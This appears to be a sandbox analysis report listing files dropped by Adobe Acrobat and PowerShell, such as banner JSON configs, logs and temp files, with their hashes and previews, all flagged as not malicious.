SHA-512:	735659DCCDE60BCE52C10697B6E7909DA9B195800192AE27CB479CE986A2C8910A086129ED34A2570343710CB87BFE9458241EEF1490CA7FCC1F105FE2452DD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.249514314454024
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJf+dPeUkwRe9:YvXKX1LvR/ZwHArsG28Ukee9
MD5:	96A24FCF520A4AC2CC5C0643479D21C1
SHA1:	BD2CBDD561E05DC67F3B1327A37B64357EEA3584
SHA-256:	FBC1385247313346B22B067F70097DD376C467AD0090EA97936A2655E733C5E7
SHA-512:	A56890B684B5025A42E5AF0ED05A8E070883A8EF0170AAB15E256FA3A4D1CCADB1007FF79F9D7AAD3550BB506EA4912B5D8ED0CF6511FB5971E0289093BFDC3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.247889913561309
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfbPtdPeUkwRe9:YvXKX1LvR/ZwHArsGDV8Ukee9
MD5:	17F5348B5614C9FDCC09CD5DBBD59A71
SHA1:	948AC7EEAF9590B42A1738A159DD6B627B57E6EB
SHA-256:	AA0BDD477D71A870EC13A5E9095F68B67DD30633B57737CCEBFD3A7C6C59F95B
SHA-512:	0DA8906A4107E25D3B08FA78BB1727A9DCF87A4E5D6913083C9E7F0D18F8AD9D2706AE2BF3D666EE9CF385712D19352F82EEA2E9E80909BD6B51858E6BD4D208
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.24612151795269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJf21rPeUkwRe9:YvXKX1LvR/ZwHArsG+16Ukee9
MD5:	966A231615B69733DB93D15B8C98AEFD
SHA1:	0D8539C556D4EB40B4A3A0D88C2308EBC89A8850
SHA-256:	E86437F42D4E5D1D57D8FF47CDF26290F5C83CE1F25D2490E7E28F69BB1EBDD1
SHA-512:	F916568F7CAE71B5FE6B3415470F0043F5E90F9AC8E4F166660169F164A8568CE66EB51446692DB733D5942E904854C895954C4CD8BEE93D30580B6FFA382954
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66537144871025
Encrypted:	false
SSDEEP:	24:Yv6XtJhpamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSH:YvUJh1BgkDMUJUAh8cvMH
MD5:	59BE1A730829FBED69741C022BA57F11
SHA1:	E1787E50155CBC1C10901357D43FBF8C093CAD51
SHA-256:	48B4E218320152C9B2764E55E328341F089660198C5C3503D1BE7D09A1A9E315
SHA-512:	6EC163BD577CBE6E8047446B47DEFB594C127F2724E16B1FCEF9C0756E9F7A22E1A2408F2B8477F602FE10DCD688E2743E075442A9345152F62F2129DF7BE933
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.220618607723853
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJfshHHrPeUkwRe9:YvXKX1LvR/ZwHArsGUUUkee9
MD5:	F0F38F3E72393B37418086407F4B0C6C
SHA1:	8D34355E490267ED8FEB69C52BFDA212E29FFA76
SHA-256:	3C1AEBCB5650FCEDDC76EE9B35E15651B7548DF4014E524151B6C345CE5234B8
SHA-512:	2ADAFB97198D8A7028C5AFDE90D6200ED31EC6D629D2217279BE584A3ED9486B41A6A2D6B7EDEF9964F6A1EAF2D027353E7EB6B8C39818DCB645FA1609616C37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.235400066144239
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgww4mPJ2vB3/dVlPIHAR0YwWRDoAvJTqgFCrPeUkwRe9:YvXKX1LvR/ZwHArsGTq16Ukee9
MD5:	9A2CA92F422888D1E7BB8E6A2F0364C7
SHA1:	C88A4454598BE1BD8F9163DFF8267F22550DCF6A
SHA-256:	986658485132F3C389DB4FB3CB4DB432EBD213ABBA74E9AAADB6230E3A872498
SHA-512:	E4226FD4C44F55C27D70EA98C16A0C3F5662A97D36FA79E03FA834B99371B11BBDFFF5A148F8FE405A795A9FE145BCC884B38E67AA1E6F64D7E6CBEACB1EA29B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"fcd6560f-548c-4cf1-ac18-0827cd00182e","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736746946427,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1251543886397295
Encrypted:	false
SSDEEP:	48:YWVtGH9lfzZxj6+1PtsbD0+YQacKZw/BNnMEchgMEn9Md+V:VW9lLHj6KE0+d5MHs2A
MD5:	A4BFF25888229E5A4287B87E19F8515F
SHA1:	8110A4C82E22EF46C6E934651FB5BB318563B457
SHA-256:	4DDCB87583DDE49D192CC3A27222DC87D734F979D8DA3B5C93E507C0E4C96AD9
SHA-512:	21A49CE0D03308BFACB8F7C981FF8581E11F2BBE01D3B00B01A365A94426B9758EF3BE1F3D9A9AB9B0560D920787580BC69C59794FBC864F0F49E4EFCADCD3C4
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a2e7af3816966e1f9df6c38e5c92ecfb","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570906000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f4f95d9bb62f926b2c80af2c64c607f0","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570906000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"3c971d5616c76be448e8178c4f65cbfe","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570906000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"afb45f1d8208557cdc2162eb5d925e88","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570905000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3169e696c7bcb7d767bb76afdc1e7aee","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570905000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"943a0e5390a09c2e5ade70757b9bd0f9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3184775335902141
Encrypted:	false
SSDEEP:	48:TGufl2GL7ms9WR1CPmPbPahRN3ypilI3Nr:lNVms9WfMwbPahT3Gr
MD5:	01DBA4F6E7850B244F2FF6C990C18420
SHA1:	96CBFB1BACB712EBBA8B54B39CA108F13A756716
SHA-256:	F8480E6ADFEFB973C1278332374A8AE9712CAF93580B100929656709177564D3
SHA-512:	BB393D8A1A2F95084E93E140423369882D71DEB9672F5230248E8F0D3A0041A76077FDAB3230A593F80E28123D67A4541598FF248094EF331A4FCD2B54206297
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7796407203520466
Encrypted:	false
SSDEEP:	48:7MJWR1CPmPbPahRNOypilIXqFl2GL7msw:7kWfMwbPahTOWKVmsw
MD5:	A8A70680E22B0460F252F585F20BDE90
SHA1:	AC9C2A348A27721B504825A0BAEDD137FA6423A7
SHA-256:	F4B09106673C76A503C014AAD44569A3660E4016272889FFE083C1B680503480
SHA-512:	5CE509419C6234527E6E5A83B3F26A9D4ED3BE3CDBAA2F893367034DDD71AF5D53D6C17975F5499676C385E0D09AAA22CBF301A78F3446FD98A022E1B6D1CEB7
Malicious:	false
Preview:	.... .c.....~Vu...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgx3uSCN0qdbcxDETSMwHLgl9xqPgqYyu:6a6TZ44ADEx3uSCNlclE/1sDK
MD5:	2FFF55E4B8AAF775CC88AD35C05EEC9C
SHA1:	762048E6CDFD34F73A20668BC41C9A5F9E177903
SHA-256:	CF2D2BE623468B251FB0AE9932CA1EACDD41A72F8B711762646D77F5218A6927
SHA-512:	6FD0BB16B7FCC11E1DCE8418C14221F8541AAAD5EDEB3E7BA9B391C71E7CD1CAFD460AB8410E3D868A0DA4229FAD6A9FE71728254002C396AC7F326661A5ECD5
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul/nq/llh:NllUyt
MD5:	AB80AD9A08E5B16132325DF5584B2CBE
SHA1:	F7411B7A5826EE6B139EBF40A7BEE999320EF923
SHA-256:	5FBE5D71CECADD2A3D66721019E68DD78C755AA39991A629AE81C77B531733A4
SHA-512:	9DE2FB33C0EA36E1E174850AD894659D6B842CD624C1A543B2D391C8EBC74719F47FA88D0C4493EA820611260364C979C9CDF16AF1C517132332423CA0CB7654
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI605c8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClg:Qw946cPbiOxDlbYnuRK+bt
MD5:	24F2A12652BC99073FBA87D3236D6260
SHA1:	195252D14629C7F82AB4DAB00A85D4FBB61B0041
SHA-256:	83BB495CEF945E5BB8A4EEECBD85704C518F4FADB2F9D872A00D9F0B0D05AEC6
SHA-512:	FB9FA5986620AAF92F491D47AFCC9A5883A9F8910BBB077ABA28CBB8C6AB25267DC76179B1FC0E8EFA3F3E0A27D7BB52135FD053365A60A375DB2A743547933B
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.4.8.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbmmt5ua.xq3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zlf0t3fc.wgf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-48-22-572.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.33860678500249
Encrypted:	false
SSDEEP:	384:IC2heaVGJMUPhP80d0Wc+9eG/CCihFomva7RVRkfKhZmWWyC7rjgNgXo6ge5iaW0:X8B
MD5:	C3FEDB046D1699616E22C50131AAF109
SHA1:	C9EEA5A1A16BD2CD8154E8C308C8A336E990CA8D
SHA-256:	EA948BAC75D609B74084113392C9F0615D447B7F4AACA78D818205503EACC3FD
SHA-512:	845CDB5166B35B39215A051144452BEF9161FFD735B3F8BD232FB9A7588BA016F7939D91B62E27D6728686DFA181EFC3F3CC9954B2EDAB7FC73FCCE850915185
Malicious:	false
Preview:	SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:080+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=29b7f1b4-edf3-467e-b302-20b20356cfee.1696494928080 Timestamp=2023-10-05T10:35:28:081+0200 ThreadID=6832 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.330982578135852
Encrypted:	false
SSDEEP:	384:yygTYet3S1TzC+XxmkT+Kgd8wLSDwPv0zo7vJBRyLr7OMHp6IFu8wxwBICQ3zLTr:K4+
MD5:	07C613B47DCBEE53F24DBFB5EFA3722D
SHA1:	654B194C385B3BBE5992076614FD7EDCBF859518
SHA-256:	7D10D6DD95C0CA818C46060AF2B75AB59CCA40E03BDDC5E563BA9C24317EF493
SHA-512:	A88FB1DF0E7B892C7C7B0AF16447710345D8419494B205EA4715288DE0AA699ACCA272005C06D66F7910B82636DA230F7E035EBF7D51B0EF0C03FDEEB307ACB6
Malicious:	false
Preview:	SessionID=2eb12a01-f624-42e9-8299-8de8fb38ec26.1736570902612 Timestamp=2025-01-10T23:48:22:612-0500 ThreadID=5524 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2eb12a01-f624-42e9-8299-8de8fb38ec26.1736570902612 Timestamp=2025-01-10T23:48:22:613-0500 ThreadID=5524 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2eb12a01-f624-42e9-8299-8de8fb38ec26.1736570902612 Timestamp=2025-01-10T23:48:22:613-0500 ThreadID=5524 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2eb12a01-f624-42e9-8299-8de8fb38ec26.1736570902612 Timestamp=2025-01-10T23:48:22:613-0500 ThreadID=5524 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2eb12a01-f624-42e9-8299-8de8fb38ec26.1736570902612 Timestamp=2025-01-10T23:48:22:613-0500 ThreadID=5524 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.403494352102291
Encrypted:	false
SSDEEP:	192:TcbeIewcbVcbqI4ucbrcbQIrJcb6cbCIC4cb52cbYIx1cbsWJ:ceo4+rsC3RxLWJ
MD5:	248C1ABBB7ACC98067090A56E341924F
SHA1:	7DEBA2867CCA8A8D18F4A2AC6E579C31F2104676
SHA-256:	E258E553051EAB928F8DB711D68CD2ABB893856A9BDE347F66D4B73ED9E4E882
SHA-512:	5326951A9134700B358F8537180A7470FED9334BDFDA0DB10A140D45B313074956D954FEF707291C32B0D4245CFF1CAFD539547858051FF89B12BA670B633A91
Malicious:	false
Preview:	05-10-2023 10:18:29:.---2---..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:18:29:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:18:29:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2b50ff49-dffc-43f5-804f-76d553a32aef.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4b455869-80f4-468a-80ae-cd4c7333e980.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:rBgI81ReWQ53+sQ3POSTJJJJEQ6T9UkRm1XX/FLYVbxrr/IxktOQZ1mau4yBwsOo:r+Tegs6lTJJJJv+9UZd1ybxrr/IxkB1m
MD5:	774036904FF86EB19FCE18B796528E1E
SHA1:	2BA0EBF3FC7BEF9EF5BFAD32070BD3C785904E16
SHA-256:	D2FC8EA3DDD3F095F7A469927179B408102471627C91275EDB4D7356F8E453AD
SHA-512:	9E9662EA15AE3345166C1E51235CDCE3123B27848E4A4651CC4D2173BDD973E4AD2F8994EFF34A221A9F07AA676F52BEB6D90FF374F6CCB0D06FA39C3EFE6B31
Malicious:	false
